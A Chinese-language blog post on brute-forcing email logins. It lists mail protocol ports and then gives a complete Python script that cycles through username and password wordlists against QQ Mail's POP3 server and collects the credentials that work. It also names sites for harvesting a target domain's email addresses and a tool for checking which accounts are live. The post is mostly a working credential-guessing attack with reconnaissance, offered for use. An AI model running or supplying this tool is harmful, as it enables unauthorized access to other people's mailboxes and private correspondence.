關於郵箱爆破

白海客發表於2020-11-29

爆破郵箱有倆種姿勢:

一是對網頁版的郵箱登入處進行爆破

二是對郵箱的埠號進行爆破

SMTP預設埠是25 ,SSL加密埠是 465

POP3預設埠是110,SSL加密埠是 995

IMAP預設埠是143,SSL加密埠是 993

其中電子郵件的傳送協議是SMTP, 郵件的接收協議是IMAP和POP3

其中POP3協議,當客戶機與伺服器建立聯絡時,一旦客戶機提供了自己身份併成功確認,即由認可狀態轉入處理狀態,在完成相應的操作後客戶機發出QUIT命令,則進入更新狀態,更新之後最後重返認可狀態。

等待連線→身份確認→QUIT命令→認可→處理→更新→已處於認可狀態

POP3協議並不複雜,它也是採用的一問一答式的方式,你向伺服器傳送一個命令,伺服器必然會回覆一個資訊。

QQ郵箱開啟POP3協議


郵箱登入生成授權碼,不是QQ密碼噢

SMTP和POP3協議SSL加密傳輸埠號
Python爆破郵箱登入授權碼

import threading, time, random, sys, poplib 
from copy import copy 
 
if len(sys.argv) !=3: 
  print "\n\t   EmailPopBruteForcer v1.0"
  print "\t   --------------------------------------------------\n"
  print "\t    Usage: ./qmailpopbrute.py <userlist> <wordlist>\n"
  sys.exit(1) 
    
server = "pop.qq.com"
success = [] 
 
try: 
    users = open(sys.argv[1], "r").readlines() 
except(IOError): 
    print "[-] Error: Check your userlist path\n"
    sys.exit(1) 
    
try: 
    words = open(sys.argv[2], "r").readlines() 
except(IOError): 
    print "[-] Error: Check your wordlist path\n"
    sys.exit(1) 
    
try: 
  pop = poplib.POP3(server,110) 
  welcome = pop.getwelcome() 
  print welcome 
  pop.quit() 
except (poplib.error_proto): 
  welcome = "No Response"
  pass
 
def mailbruteforce(listuser,listpwd): 
  if len(listuser) < 1 or len(listpwd) < 1 : 
    print "An error occurred: No user or pass list"
    return 1
  for user in listuser: 
    for value in listpwd : 
      user = user.replace("\n","") 
      value = value.replace("\n","") 
        
      try: 
        print "-"*12
          
        print "[+] User:",user,"Password:",value 
        time.sleep(2) 
        pop = poplib.POP3(server,110) //連線pop3伺服器埠
        pop.user(user) //設定使用者名稱
        auth = pop.pass_(value) //設定密碼
        print auth 
        if auth.split(' ')[0]!= "+OK" : //判斷是否為OK
          pop.quit() 
          print "unknown error !"
          continue
        if pop.stat()[1] is None or pop.stat()[1] < 1 : 
          pop.quit() 
          print "unknown error !"
          continue
        #print "\t\t\n\nLogin successful:",user, value 
        #print "\t\tMail:",pop.stat()[0],"emails" 
        #print "\t\tSize:",pop.stat()[1],"bytes\n\n" 
        ret = (user,value,pop.stat()[0],pop.stat()[1]) 
        success.append(ret) 
        #print len(success) 
        pop.quit() 
        break
      except: 
        #print "An error occurred:", msg 
        pass
 
 
 
print "\n\t EmailPopBruteForcer v1.0"
print "\t   --------------------------------------------------\n"
print "[+] Server:",server 
print "[+] Port: 995"
print "[+] Users Loaded:",len(users) 
print "[+] Words Loaded:",len(words) 
print "[+] Server response:",welcome,"\n"
mailbruteforce(users,words) 
 
print "\t[+] have weakpass :\t",len(success) 
if len(success) >=1: 
  for ret in success: 
    print "\n\n[+] Login successful:",ret[0], ret[1] 
    print "\t[+] Mail:",ret[2],"emails"
    print "\t[+] Size:",ret[3],"bytes\n"
print "\n[-] Done"


使用:Python hacker.py user.txt passwd.txt
爆破完成


https://hunter.io/

https://www.email-format.com/i/search/

這倆個網站只要輸入目標域名,就可以從網際網路上搜到對應格式的郵箱賬號

收集到郵箱賬號後,我們還需要對郵箱賬號的可用性進行檢測。因為有些郵箱賬號很有可能已經棄用了

https://github.com/Tzeross/verifyemail

相關文章